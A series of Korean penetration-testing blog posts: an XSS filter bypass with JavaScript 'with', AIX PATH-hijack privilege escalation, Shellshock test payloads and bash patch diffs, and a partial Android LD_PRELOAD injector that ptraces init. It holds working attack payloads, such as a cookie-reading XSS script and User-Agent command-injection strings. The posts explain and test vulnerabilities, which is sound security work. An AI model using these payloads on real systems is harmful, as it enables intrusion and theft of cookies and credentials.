모의해킹을 하다 보면 제일 많이 겪게되는 것이 방지대책에 막히게 되는 것일텐데요.

이전에 말씀드렸다시피 모의해킹은 취약점 점검이랑 달라서 우회기법도 포함하는 개념입니다.

상황이 이렇다 보니 모의해킹 진행 중 Server-Side Script 레벨이나 WAF(Web Application Firewall) 정책에 막히는 경우가 허다합니다.

오늘은 저희가 활용하고 있는 우회기법 중, 자바스크립트 'with' 구문을 사용하는 XSS 방지 우회 기법에 대해서 잠시 말씀드릴까 합니다.


여러가지 XSS 공격 방지 케이스들 중 본 페이지에서 우회를 시도하는 케이스는 다음과 같습니다.


<?php

// vuln.php

...

        $msg = $_GET['msg'];

        $pattern = '/document.cookie/i';

        $output = preg_replace($pattern, '', $msg);

...

?>


위 케이스는 일반적으로 "document.cookie" 문자열을 삭제 해 버리는 코드로, 저희가 실제 우회했던 케이스는 WAF 정책이었으나, 설명을 하기 위해 PHP 코드로 구현해 보았습니다.

물론 많은 분들이 아시는 것 처럼 위 코드에는 다음과 같은 XSS 방지 우회 방안이 있을 수 있습니다.


vuln.php?msg=<script>alert(documendocument.cookiet.cookie);</script>

 := vuln.php?msg=<script>alert(document.cookie);</script>


필터링 후의 문자열 상태를 예상해 Payload를 구성하는 방법인데, 본 페이지에서 다룰 방법은 위와 같은 방법이 아니라 여기까지만 언급하도록 하겠습니다.


우회방안이나 공격방안을 구성할 때 제일 좋은 것은, 대상을 구성하고 있는 'Standard 한 규격'을 참조하고 이를 이용하는 경우입니다.

이를 위해 인터넷에서 자바스크립트 명세서(Specification; 줄여서 흔히 스펙문서라 부릅니다)을 검색해 보았습니다.

저희가 구할 수 있었던 자바스크립트 명세서는 96년 마지막으로 작성된 1.1 버전이었으며, 이를 참조하였습니다.

자바스크립트 명세서 1.1 버전 80페이지에 보면 6.4.8 The with Statement 라는 항목으로 with 구문을 설명하고 있습니다.

해당 항목의 일부를 발췌하면 다음 내용과 같습니다.


6.4.8 The with Statement


The with statement establishes the default object for a set of statements. 

Within the set of statements, any property references that do not specify an 

object are assumed to be for the default object.


... 생략 ...


Example

The following with statement specifies that the Math object is the default 

object. The statements following the with statement refer to the PI property 

and the cos and sin methods, without specifying an object. JavaScript assumes 

the Math object for these references.


var a, x, y

var r=10

with (Math) {

a = PI * r * r

x = r * cos(PI)

y = r * sin(PI/2)

}


위 내용을 참조해 보면 with 구문 사용 시 특정 object를 명시하도록 되어있고, 이후의 블록안에서는 명시된 object의 멤버를 참조할 때, member 이름만 가지고도 접근 가능하도록 되어 있습니다.


with 구문에 대해 테스트 해 볼 요량으로 다음의 코드를 작성하였습니다.

<?php

Header("Set-Cookie: A3Security=TeamCR@K;");

$msg = $_GET['msg'];

$pattern = '/document.cookie/i';

$output = preg_replace($pattern, '', $msg);

echo "<html><body><head><title>XSS Test</title></head>";

echo "Code: " . htmlspecialchars($output) . "<BR>";

echo "Execution: $output<BR>";

echo "</body></html>";

?>


위 코드를 작성하고 실행하는 순간 다음과 같은 에러가 발생하였습니다.


[그림 1] XSS 방지 (IE)


웹 브라우져 차원에서 특정 URL을 요청하는 사용자 입력 값을 검사하여 XSS 공격 패턴을 차단하고 있는 기능입니다.

PHP 실행 레벨에서 document.cookie 문자열은 삭제되었지만 웹 브라우져 레벨에서 스크립트가 차단당하여 alert 창이 실행되지 않는 모습입니다.

해당 기능은 다음의 설정을 통해 비활성화 할 수 있습니다.


[그림 2] XSS 방지 기능 비활성화 방법 (IE)


'XSS 필터 사용' 항목을 '사용 안 함'으로 설정하면 XSS 방지 기능을 비활성화 시킬 수 있으나, XSS 취약점이 사용자 입력 값에만 의존하고 있지 않기 때문에 그냥 소스코드를 수정하는 방향으로 테스트 해 보았습니다.


다음은 XSS 공격 방지를 우회하기 위해 테스트 한 자바스크립트 코드입니다.


<script>with(document) { alert(cookie); }</script>


아래 화면은 IE에서 테스트 한 화면입니다.


[그림 3] with 구문을 사용한 XSS 공격 방지 우회 (IE)


Chrome에서 테스트 한 화면입니다.

[그림 4] with 구문을 사용한 XSS 공격 방지 우회 (Chrome)


우회방안을 고민할 때마다 느끼는 것이지만, 시간이 지날수록 우회방안은 날로 발전하니 이에 대해 지속적으로 관심을 가지는것이 필요할 것 같습니다.


저작자 표시 비영리 변경 금지
신고

날씨가 많이 쌀쌀해진 10월입니다..

요즘은 아침과 한 낮의 온도차가 너무 심하네요.. ^^;

간절기에 모두들 건강하신지 모르겠습니다


오늘은 모의해킹 도중 있었던 일로 한번쯤은 되짚어 보고 넘어가 봐야 하는 것들이 아닌가 해서 한번 올려봅니다..


저희 TeamCR@K에서는 신입팀원들에게 모의해킹 시 주의사항에 대해 교육을 하는데요.

SQL Injection 시도 시 UPDATE, DELETE, CREATE, INSERT 등의 SQL 구문 실행 금지 항목도 있고..

여러 항목들 중 하나가 "Exploit 실행 금지" 항목입니다.

사실, Exploit 실행 금지에 대해 여러 의견이 많습니다.


해당 항목이 존재하는 제일 첫번째의 이유는 아무래도 "고객사 서버의 안정성"이겠네요..

고전해킹으로 분류되는 Race Condition과 같은 기법은 노후화 된 장비에 무리를 줄 수 있고,  Server Daemon을 공격하는 Remote Exploit의 경우 대고객 서비스에 장애를 일으킬지 모르며, 더 나아가 결제와 관련된 시스템일 경우 그 피해는 상상을 초월할테니까요..

또한 최근 리눅스 계열 배포판에서 많이 도출되는 취약점의 경우는 Kernel Exploit 들이 많습니다.

Kernel Exploit의 경우 실행결과가 Crash로 나타나는 형태가 많기 때문에 Kernel Panic으로 인한 실 서버 다운 등의 사태로 이어질 수 있어 이를 금지하고 있습니다.


Exploit 실행을 금지하는 또 하나 지적되는 문제로서는 Script Kiddies와도 관련이 깊을것이라 추측하고 있습니다.

쉽게 이야기하자면 "Exploit Code를 이해하지 못하는 수행인원으로부터 나오는 위험성"이겠네요.

Exploit의 취약점을 이해하지 못하고(하려 하지도 않고) Exploit 하는 행위만을 학습하는 결과가 아닐까 생각됩니다.

그 결과, 고객사 서버 안정성에 위해를 가하는 것으로 귀결될테니까요..


어찌됐든 지난 주 AIX 시스템에 접근할 기회가 생겼습니다.

일반 사용자 권한이었기에 시스템 관리 권한을 획득하기 위해 고객사에 양해를 구한 후 CVE-2013-4011에 해당하는 취약점을 공격하여 root 권한을 획득하였습니다.


[그림 1] CVE-2013-4011 취약점 공격


취약점이 존재하는 명령어는 /usr/sbin/ibstat 명령어로, 이는 root의 SetUID bit가 적용되어 있는 명령어입니다. ibstat 프로그램은 "arp"라는 외부 명령어를 실행하는데, 이 때 "arp"가 SheBang 형태로 실행되기 때문에 프로그램 실행 경로인 PATH 환경변수를 조작하여 제작자가 의도한 "arp" 프로그램 대신 악의적으로 생성한 프로그램을 실행하도록 할 수 있습니다.


해당 취약점은 이미 2013년에 IBM에서 공식적인 보안패치를 공개한 취약점입니다.


http://www-01.ibm.com/support/docview.wss?uid=isg1SSRVPOAIX61SECURITY130716-1109


PATH를 조작하여 상위권한을 획득하는 형태의 Exploit은 주로 외부 프로그램을 실행할 때 system이나 popen 등의 함수를 사용하는데에서 기인합니다.

다음의 그림에서 보시는 경우도 같은 맥락입니다.


[그림 2] 외부프로그램 실행의 예


위 프로그램을 strace로 분석하면 다음과 같습니다.


[그림 3] 외부프로그램 실행 순서


PATH의 구분자는 ':' 문자이며, 왼쪽에 설정되어 있는 PATH일수록 우선순위가 높습니다.

"[그림 2] 외부프로그램 실행의 예" 그림에 나와있는대로 PATH설정을 할 경우 PATH는 다음과 같은 형태로 설정됩니다.


.:/usr/lib64/qt-3.3/bin:/usr/local/bin:/bin/usr/bin:/usr/local/sbin:/usr/sbin:/sbin:/home/indra/bin


맨 왼쪽에 설정되어 있는 PATH가 . (현재디렉터리)이므로 현재디렉터리에 있는 "sh"나 "ls"를 먼저 찾게 됩니다.

PATH는 사용자가 지정할 수 있는 환경변수이며, system 계열의 함수는 이러한 PATH 환경변수의 특성을 타게 되는데

악의적인 사용자의 조작된 PATH에 의해 공격에 노출되는 경우입니다. 


예전에 워게임이라는 레벨별 시스템 해킹 게임이 유행할때, 해커스랩 FHZ이라는 워게임이 있었습니다.

"뚫어볼테면 뚫어봐!"라는 의미로 서버 이름도 DRILL서버로 명명했던 것이 기억이 납니다.

그 당시 해커스랩 워게임 레벨 문제에 이와 같이 PATH 환경변수를 조작하여 푸는 문제가 있던 것으로 기억됩니다. 

지금으로부터 15년쯤전이니까.. 시간이 많이 흘렀네요..


현재의 리눅스 배포판들은 이러한 형태의 취약점은 거의 존재하지 않습니다.

물론 일반 웹 어플리케이션은 지금도 보안취약점이 발견되어 패치되고 있지만 기본 탑재되는 시스템 어플리케이션에 한정해서는

환경변수의 조작 (PATH/IFS), 특수문자의 사용 (;, |, `)  등으로 인한 소위 "고전 해킹" 방법에 의한 보안취약점 노출은 많이 줄어들었습니다.

해커스랩 워게임을 즐겨하고 시스템 분석을 좋아하던 시절, IBM의 AIX나 HP-UX, Irix, Tru64 등등은 욕망(?)의 대상이었습니다.

일반인들은 당연히 접근하지 못하는 시스템이었고, 보안권고문 같은 곳에서만 그 흔적을 찾을 수 있었을 뿐.. Unix 클론인 리눅스에 만족할 수 밖에 없던 시절이라고 기억됩니다.


고전해킹으로 분류되는 기법이 현재 발견되는 보안취약점에도 활용 될 수 있다는 사실에는 만감이 교차합니다.

여타 Unix 시스템들은 지금도 접근하기 쉽지 않다는 그 특수성에 의해 분석되기 쉽지 않다는 이유와 함께..

현재의 리눅스 시스템은 오히려 사람들 앞에 오픈되어 수 많은 리눅스 관련 어플리케이션 개발자, 커널 커미터, Errata 버그 보고자들의 노력으로 이뤄진 성과가 아닐까 싶기도 합니다.


뚫는 것 보다 막는 것이 어렵다.. 라는 것을 다시 한번 느끼기도 하면서 수 많은 리눅스 관련 개발자들에게 다시한번 경외심이 드는 케이스가 아닐까 합니다.. ^^

저작자 표시 비영리 변경 금지
신고

Shellshock 분석 및 테스트


maz3 (maz3@a3security.com)

CrazyPure (jschoi@a3security.com)


Shellshock 취약점은 리눅스를 포함한 유닉스 계열 운영체제에서 사용되는 명령어 실행 툴인 bash로부터 발생하는 취약점입니다.

취약한 버전의 bash를 사용하는 것으로 보안위협에 노출될 수 있으며, 이에 대해 특수문자를 사용하거나 메모리 실행 오류를 이용하여 임의의 명령어를 실행하도록 하는 등의 위협 시나리오가 거론되고 있습니다.


Shellshock 보안취약점의 알려진 내용은 다음과 같습니다.


* 공통 사항: 취약한 bash 버전의 쉘을 사용하고 있어야 함

1. 파싱 오류로 인한 보안 취약점 노출: 특정 프로세스를 생성하는 등의 행위를 하는 모듈이 동작해야 함 (Ex: Enabled CGI module on the apache web server)

2. 메모리 실행 오류로 인한 보안 취약점 노출: 위의 공통 사항과 동일


초기 Shellshock 보안취약점이 알려지기 시작할 때에는 특수문자를 통해 bash의 환경변수를 조작하여 임의의 명령어를 실행하는 것으로 알려졌고 특성을 타는 취약점이라는 이해 아래 공식적인 취약점 보완 절차가 이루어졌지만, 이후 알려진 메모리 실행 오류의 보안취약점으로 인해 현재에는 무조건 bash를 최신버전으로 업데이트 해야 하는 상황으로 발전하게 됩니다.


다음은 현재까지 알려진 Shellshock 취약점 분류 내역입니다.


  CVE NAME

  Test Code

 Patch Notes

 CVE-2014-6271

User-Agent: () { :;}; /bin/bash -c "ping ${IP_ADDRESS} –c3"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-025

 CVE-2014-6277

User-Agent: () { 0; }; /bin/bash -c 'x() { _; }; x() { _; } <<a;'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-029

 CVE-2014-6278

 User-Agent: () { _; } >_[$($())] { id >/tmp/CVE-2014-6278; }

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-030

 CVE-2014-7169

 env X='() { (a)=>\' bash -c "echo date"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-026

 CVE-2014-7186

 bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF'

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028

 CVE-2014-7187

 (for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"

 http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-028


제일 처음 Shellshock 취약점으로 도출된 CVE-2014-6271의 케이스로 다음 테스트들을 진행해 보았습니다.


* CVE-2014-6271 테스트 #1: Apache CGI


먼저 취약점 점검 테스트용 환경 구성 후 bash를 사용하는 CGI 파일을 간단하게 작성하였습니다.



[그림 1] hello.cgi 작성


CGI의 URL과 Command를 입력받는 점검 스크립트를 실행하여 서버에 존재하는 /etc/passwd 파일의 내용을 확인 할 수 있습니다.



[그림 2] hello.cgi를 대상으로 공격 시도 및 결과


위 점검 스크립트 내용의 일부입니다.



[그림 3] 공격 시도 프로그램 소스코드의 일부


해당 스크립트는 'User-Agent' HTTP 헤더에 코드를 삽입하여 CGI가 실행될 때, 임의의 명령어가 실행되도록 작성하였습니다.

임의의 명령어가 실행된다면 Reverse Connection도 가능하므로 스크립트를 수정하여 실행해 보았습니다.



[그림 4] Reverse Connection을 사용하도록 소스코드 수정


정상적으로 Reverse Connection이 실행되는 것을 확인 할 수 있습니다.



[그림 5] Reverse Connection 실행 결과


* CVE-2014-6271 테스트 #2: OpenSSH


OpenSSH의 경우 sshd_config에서 설정 가능한 ForceCommand 옵션이나 authorized_keys에서 설정하도록 되어 있는 command 옵션이 존재합니다.
해당 옵션들은 제한된 명령어만 사용하도록 설정하는 옵션이나, 본 취약점에 노출될 경우 정해진 명령어가 아닌 허용되지 않은 다른 명령어들에 대해 실행이 가능합니다.


[그림 6] OpenSSH 공격용으로 스크립트 수정



[그림 7] 취약점 공격으로 ForceCommand 옵션 설정을 우회


공격코드가 실행되면 클라이언트는 $SSH_ORIGINAL_COMMAND라는 환경변수를 서버측에 전달하게 되는데 이 때 공격에 노출되어 허용된 명령어가 아닌 타 명령어가 실행 가능하게 됩니다. 

OpenSSH의 경우 ForceCommand 등의 설정을 사용하는 서버가 공격에 취약합니다.


다음은 CVE-2014-6271 외 다른 취약점들을 테스트 해 보았습니다.


* CVE-2014-6277 테스트: 


CGI 페이지 호출 시, User-Agent 파라미터에() { 0; };코드를 삽입하여 쉘이 실행되도록 한 후 메모리 실행 오류를 발생시키는 'x() { _; }; x() { _; } <<a;'코드를 삽입하였고, apache의 errer.log를 확인한 결과 메모리 실행 오류가 발생하는 것을 확인하였습니다.


[그림 8] CVE-2014-6277 취약점 공격 시도



[그림 9] CVE-2014-6277 취약점 공격 결과


* CVE-2014-6278 테스트: 


CGI 페이지 호출 시 User-Agent 파라미터에‘() { _; } >_[$($())] { cmd; }’코드를 삽입하여 웹 서버를 대상으로 한 임의의 명령어가 실행 가능한 것을 확인하였습니다.


[그림 10] CVE-2014-6278 취약점 공격 시도




[그림 11] CVE-2014-6278 취약점 공격 결과


* CVE-2014-7169 테스트: 


환경변수 선언 시 '() { (a)=>\' 코드를 입력하여 쉘을 이용한 명령어 실행이 가능한 것을 확인하였습니다.



[그림 12] CVE-2014-7169 취약점 테스트 결과


* CVE-2014-7186 테스트: 


Bash 쉘을 통해 다중 문서를 중첩하여 호출 시, 메모리 실행 오류가 발생하는것을 확인하였습니다.


[그림 13] CVE-2014-7186 취약점 테스트 결과



다음은 각 취약점들에 대한 패치를 잠시 보도록 하겠습니다.

* CVE-2014-6271-Patch
Bug-Description:

Under certain circumstances, bash will execute user code while processing the
environment for exported function definitions.
*** ../bash-4.3-patched/builtins/common.h	2013-07-08 16:54:47.000000000 -0400
--- builtins/common.h	2014-09-12 14:25:47.000000000 -0400
***************
*** 34,37 ****
--- 49,54 ----
  #define SEVAL_PARSEONLY	0x020
  #define SEVAL_NOLONGJMP 0x040
+ #define SEVAL_FUNCDEF	0x080		/* only allow function definitions */
+ #define SEVAL_ONECMD	0x100		/* only allow a single command */
  
  /* Flags for describe_command, shared between type.def and command.def */
*** ../bash-4.3-patched/builtins/evalstring.c	2014-02-11 09:42:10.000000000 -0500
--- builtins/evalstring.c	2014-09-14 14:15:13.000000000 -0400
***************
*** 309,312 ****
--- 313,324 ----
  	      struct fd_bitmap *bitmap;
  
+ 	      if ((flags & SEVAL_FUNCDEF) && command->type != cm_function_def)
+ 		{
+ 		  internal_warning ("%s: ignoring function definition attempt", from_file);
+ 		  should_jump_to_top_level = 0;
+ 		  last_result = last_command_exit_value = EX_BADUSAGE;
+ 		  break;
+ 		}
+ 


파서 실행 중 넘어 온 플래그에 함수 정의(Function Definition)를 명시했을 때 다시 타입을 비교해서 맞지 않으면 예외처리 합니다.


* CVE-2014-6277-Patch

Bug-Description:

When bash is parsing a function definition that contains a here-document
delimited by end-of-file (or end-of-string), it leaves the closing delimiter
uninitialized.  This can result in an invalid memory access when the parsed
function is later copied.

*** ../bash-4.3.28/make_cmd.c 2011-12-16 08:08:01.000000000 -0500 --- make_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 693,696 **** --- 693,697 ---- temp->redirector = source; temp->redirectee = dest_and_filename; + temp->here_doc_eof = 0; temp->instruction = instruction; temp->flags = 0; *** ../bash-4.3.28/copy_cmd.c 2009-09-11 16:28:02.000000000 -0400 --- copy_cmd.c 2014-10-02 11:24:23.000000000 -0400 *************** *** 127,131 **** case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = savestring (redirect->here_doc_eof); /*FALLTHROUGH*/ case r_reading_string: --- 127,131 ---- case r_reading_until: case r_deblank_reading_until: ! new_redirect->here_doc_eof = redirect->here_doc_eof ? savestring (redirect->here_doc_eof) : 0;


스크립트가 끝나는 지점인 EOF(End Of File)를 체크할 수 있도록 특정 구조체에 변수를 추가하여 초기화 해 줍니다.


* CVE-2014-6278-Patch

Bug-Description:

A combination of nested command substitutions and function importing from
the environment can cause bash to execute code appearing in the environment
variable value following the function definition.
*** ../bash-4.3.29/parse.y	2014-10-01 12:58:43.000000000 -0400
--- parse.y	2014-10-03 14:48:59.000000000 -0400
***************
*** 2539,2542 ****
--- 2539,2552 ----
  }
  
+ char *
+ parser_remaining_input ()
+ {
+   if (shell_input_line == 0)
+     return 0;
+   if (shell_input_line_index < 0 || shell_input_line_index >= shell_input_line_len)
+     return '\0';	/* XXX */
+   return (shell_input_line + shell_input_line_index);
+ }
+ 


함수 정의 부분에서 nested function name 이 있을 경우 이를 예외처리 하도록 합니다.


* CVE-2014-7169-Patch

Bug-Description:

Under certain circumstances, bash can incorrectly save a lookahead character and
return it on a subsequent call, even when reading a new line.

Patch (apply with `patch -p0'):

*** ../bash-4.3.25/parse.y	2014-07-30 10:14:31.000000000 -0400
--- parse.y	2014-09-25 20:20:21.000000000 -0400
***************
*** 2954,2957 ****
--- 2954,2959 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';
*** ../bash-4.3.25/y.tab.c	2014-07-30 10:14:32.000000000 -0400
--- y.tab.c	2014-09-25 20:21:48.000000000 -0400
***************
*** 5266,5269 ****
--- 5266,5271 ----
    word_desc_to_read = (WORD_DESC *)NULL;
  
+   eol_ungetc_lookahead = 0;
+ 
    current_token = '\n';		/* XXX */
    last_read_token = '\n';


newline을 뜻하는 '\n' 문자에 대해 예외처리 하도록 합니다.


* CVE-2014-7186-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.

Patch (apply with `patch -p0'):

*** ../bash-4.3-patched/parse.y 2014-09-25 23:02:35.000000000 -0400 --- parse.y 2014-09-29 16:47:03.000000000 -0400 *************** *** 169,172 **** --- 169,175 ---- static int reserved_word_acceptable __P((int)); static int yylex __P((void)); + + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *)); static int alias_expand_token __P((char *)); static int time_command_acceptable __P((void)); *************** *** 266,270 **** /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! static REDIRECT *redir_stack[10]; int need_here_doc; --- 269,275 ---- /* Variables to manage the task of reading here documents, because we need to defer the reading until after a complete command has been collected. */ ! #define HEREDOC_MAX 16 ! ! static REDIRECT *redir_stack[HEREDOC_MAX]; int need_here_doc;

+ + static void push_heredoc __P((REDIRECT *)); + static char *mk_alexpansion __P((char *));

+ static void

+ push_heredoc (r)
+      REDIRECT *r;
+ {
+   if (need_here_doc >= HEREDOC_MAX)
+     {
+       last_command_exit_value = EX_BADUSAGE;
+       need_here_doc = 0;
+       report_syntax_error (_("maximum here-document count exceeded"));
+       reset_parser ();
+       exit_shell (last_command_exit_value);
+     }
+   redir_stack[need_here_doc++] = r;
+ }
+ 


다중으로 문서가 중첩되어 호출될 경우 발생하는 메모리 접근 오류가 일어나지 않도록 예외처리를 합니다.


* CVE-2014-7187-Patch

Bug-Description:

There are two local buffer overflows in parse.y that can cause the shell
to dump core when given many here-documents attached to a single command
or many nested loops.
*** ../bash-4.3-patched/parse.y	2014-09-25 23:02:35.000000000 -0400
--- parse.y	2014-09-29 16:47:03.000000000 -0400
***************
*** 169,172 ****
--- 169,175 ----
  static int reserved_word_acceptable __P((int));
  static int yylex __P((void));
+ 
+ static void push_heredoc __P((REDIRECT *));
+ static char *mk_alexpansion __P((char *));
  static int alias_expand_token __P((char *));
  static int time_command_acceptable __P((void));
***************
*** 266,270 ****
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! static REDIRECT *redir_stack[10];
  int need_here_doc;
  
--- 269,275 ----
  /* Variables to manage the task of reading here documents, because we need to
     defer the reading until after a complete command has been collected. */
! #define HEREDOC_MAX 16
! 
! static REDIRECT *redir_stack[HEREDOC_MAX];
  int need_here_doc;
  
***************
*** 308,312 ****
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST];
  static int word_top = -1;
  
--- 313,317 ----
     index is decremented after a case, select, or for command is parsed. */
  #define MAX_CASE_NEST	128
! static int word_lineno[MAX_CASE_NEST+1];
  static int word_top = -1;
  
! #line 785 "/usr/src/local/chet/src/bash/bash-4.3.28/parse.y"
      {
  			  (yyval.command) = make_for_command ((yyvsp[(2) - (6)].word), add_string_to_list ("\"$@\"", (WORD_LIST *)NULL), (yyvsp[(5) - (6)].command), word_lineno[word_top]);
***************
*** 2707,2711 ****



스크립트 파서 수행 중 별도의 스크립트 실행 구문을 만들어 내는 과정에서 해당 내용이 담긴 변수에 대해 적절한 경계 값을 검사하도록 하여 예외처리를 합니다. 


* References

http://en.wikipedia.org/wiki/Shellshock_(software_bug)

http://www.dwheeler.com/essays/shellshock.html

http://support.novell.com/security/cve/CVE-2014-7187.html

http://ftp.gnu.org/gnu/bash/bash-4.3-patches/

http://teamcrak.tistory.com/379

http://lcamtuf.blogspot.kr/2014/10/bash-bug-how-we-finally-cracked.html

http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=shellshock

http://shellshock.brandonpotter.com/



저작자 표시 비영리 변경 금지
신고

CVE-2014-6271으로 알려진 ShellShock이 이슈화 되고 있는데, 간단한 내용을 알아보고자 합니다.


다음의 URL을 먼저 방문하시면 도움이 되실 것 같습니다.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

https://securityblog.redhat.com/2014/09/24/bash-specially-crafted-environment-variables-code-injection-attack/


테스트는 CentOS 6.3 64bit machine에서 진행하였습니다.


[그림 1] 취약한 bash 버전의 테스트 화면


위 테스트에서 기본적으로 다음과 같은 구문이 문제시 되는 것 같습니다.

env x='() { : ; } ; echo vulnerable'


쉘 스크립트 언어의 Syntax 측면에서 파싱 구조를 살펴보았을 때 '변수 x'에 할당하고 있는 값은 ' (single quotes) 가 시작해서 끝나는 지점까지를 해당 변수의 값으로 할당하여야 하지만, 특수 문자 파싱의 오류로 인하여 ';' 문자 뒤의 echo 구문이 쉘 스크립트의 실행 구문으로 실행되어 문제가 발생하는 것 같습니다.

즉, "echo vulnerable" 문자열은 콘솔 상 출력되지 않아야 할 "변수 x"의 값이어야 하나, 해당 문자열이 쉘 스크립트의 실행 영역으로 수행되면서 악의적인 명령어의 삽입이 가능합니다.


조금 더 자세한 구조를 알아보기 위해 ltrace를 사용해 보았습니다.

 

[그림 2] 변수 할당 영역을 벗어나 구문 실행 파싱 영역으로 수행되는 테스트 코드


[그림 3] 쉘 스크립트의 실행 구문 파싱 영역


해당 취약점은 패키지 업데이트로 해결할 수 있습니다.


[그림 4] bash 패키지 업데이트


현재 TeamCR@K은 더 상세한 내용을 위해 분석 중에 있으며, 분석이 완료되면 해당 내용을 다시 게시하도록 하겠습니다.


저작자 표시 비영리 변경 금지
신고

루팅된 Android 환경에서 특정 모바일 애플리케이션을 조작하는 방법은 크게 세가지 정도로 구분할 수 있습니다.


1. ptrace() 시스템 콜 사용

2. LD_PRELOAD 환경변수 사용

3. LKM (Loadable Kernel Module) 사용


다른 방법이 더 존재할지는 모르겠지만 크게 위와 같은 맥락에서 움직이고 있는 것 같습니다.

위 방법들 중에서 오늘은 LD_PRELOAD에 대해 조금 말씀드릴까 합니다.


Android 환경에서 애플리케이션이 실행될때에는 zygote라는 프로세스에 의해 apk파일이 로드되며 실행되는데, 이러한 zygote 프로세스는 전체적으로 애플리케이션의 권한 할당이나 프로세스 생성에 관여하게 됩니다.

zygote 프로세스는 애플리케이션이 실행되는 가장 기본적인 환경이므로 init (pid 1번 프로세스) 프로세스에 의해 관리되고 있으며, init 프로세스는 zygote 프로세스가 정상적인 동작을 하지 않거나 외부환경에 의해 동작을 멈추면 즉시 재시작하도록 되어있습니다.


init 프로세스는 부팅 초기에 init.rc 파일을 읽어들여 환경설정과 함께 zygote 프로세스를 생성하도록 수행합니다.

다음은 init.rc 파일의 일부분입니다.

...

> snip <

service zygote /system/bin/app_process -Xzygote /system/bin --zygote --start-sys

    class main

    socket zygote stream 660 root system

    onrestart write /sys/android_power/request_state wake

    onrestart write /sys/power/state on

    onrestart restart media

    onrestart restart netd

> snip <

...


zygote의 실제 실행프로그램은 /system/bin/app_process 이며, 옵션에 따라 zygote 프로세스 역할을 수행하는 것으로 보입니다.

zygote프로세스가 실행될 때 LD_PRELOAD 환경변수를 추가하여 실행되도록 하면 특정 라이브러리 함수들을 후킹하여 변조하는 기법이 존재하는데, 대부분 이를 위해 init.rc 파일을 수정하게 됩니다.

그러나 init.rc 파일을 수정하기 위해서는 boot 이미지파일의 압축해제, 수정 및 변조, 재 압축, boot 이미지파일 overwrite 등의 과정을 거쳐야 하므로, 귀찮은 작업이 될 수도 있습니다.

그래서 다른 방법이 없을까 고민해 보다가 다음과 같이 환경변수를 injection 하는 방법을 구상해보았습니다.


[그림 1] LD_PRELOAD injection


"zygote가 정상적인 실행상태가 아니면 init 프로세스에서 zygote 프로세스를 재 시작한다"는 점에 착안하여, 먼저 init 프로세스를 ptrace로 감지하면서 기존에 실행되고 있던 zygote 프로세스에 SIGKILL 시그널을 보냅니다.

그러면 zygote의 부모프로세스인 init 프로세스에서는 SIGCHLD 시그널을 받게 되고, zombie 프로세스가 되지 않도록 zygote가 사용하고 있던 리소스들을 kernel에 반환 후 zygote 프로세스의 재 시작 작업을 수행합니다.

zygote 프로세스의 재시작은 fork 시스템 콜을 수행하여 새로운 프로세스를 생성 한 후, execve 시스템 콜을 사용하여 zygote 바이너리를 실행하는 구조로 되어 있습니다.

바이너리 실행에 사용되는 execve 시스템 콜의 원형은 다음과 같습니다.


int execve(const char *filename, char *const argv[], char *const envp[]);


execve 시스템 콜의 3번째 인자가 envp라고 되어 있는데 바로 이 envp 인자가 실행되는 프로그램의 환경변수를 결정하게 됩니다.

따라서 zygote를 실행하기 위한 execve 시스템 콜 실행 직전에 LD_PRELOAD 환경변수를 injection한다면 zygote는 변조된 환경변수를 가진 상태에서 실행될 수 있습니다.

다음은 이러한 시나리오를 가지고 만든 injector 소스코드의 일부입니다.


/*

* god_daewoong.c

*

* Version: v1.0

* Date: 2014.09.10

*

* You can compile using gcc with -D option: -D_SO_PATH=\"${SO_PATH}\"

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <ctype.h>

#include <errno.h>

#include <sys/wait.h>

#include <sys/ptrace.h>

#include <linux/user.h>

#include <linux/ptrace.h>


#define EXTRA_ENVIRON   "LD_PRELOAD="_SO_PATH

#define ZYGOTE_PATH     "/system/bin/app_process"


long internal_ptrace(int, pid_t, void *, void *);

#define PTRACE(r,p,a,d) internal_ptrace(r,p,a,d)

#define SYSCALL_REGISTER(r) r.ARM_r7

#define IP_REGISTER(r) r.ARM_ip

#define RESULT_REGISTER(r) r.ARM_r0

#define ENV_REGISTER(r) r.ARM_r2


#define MAX_BUFFER_SIZE 1024

#define MAX_PROC_PID    65536


int init_pid = 1;


void sigint(int signo)

{

        fprintf(stdout, "[!] Received Ctrl+C signal.\n");

        if(init_pid != 0) {

                if(PTRACE(PTRACE_DETACH, init_pid, (void*)1, 0) < 0)

                        fprintf(stderr, "[!] PTRACE_DETACH error\n");

        }

        exit(0);

}


long internal_ptrace(int request, pid_t pid, void *addr, void *data)

{

        int ret, stat;


        errno = 0;


        while(1) {

                stat = 0;

                ret = waitpid(pid, &stat, WNOHANG);

                if((ret == pid && WIFEXITED(stat)) || (WIFSTOPPED(stat) && !WSTOPSIG(stat))) {

                        fprintf(stderr, "[!] Killed Process: %d\n", pid);

                        return -1;

                }

                if((ret = ptrace(request, pid, addr, data)) == -1) {

                        switch(request) {

                        case PTRACE_DETACH:

                        case PTRACE_SYSCALL:

                        case PTRACE_KILL:

                                return 0;

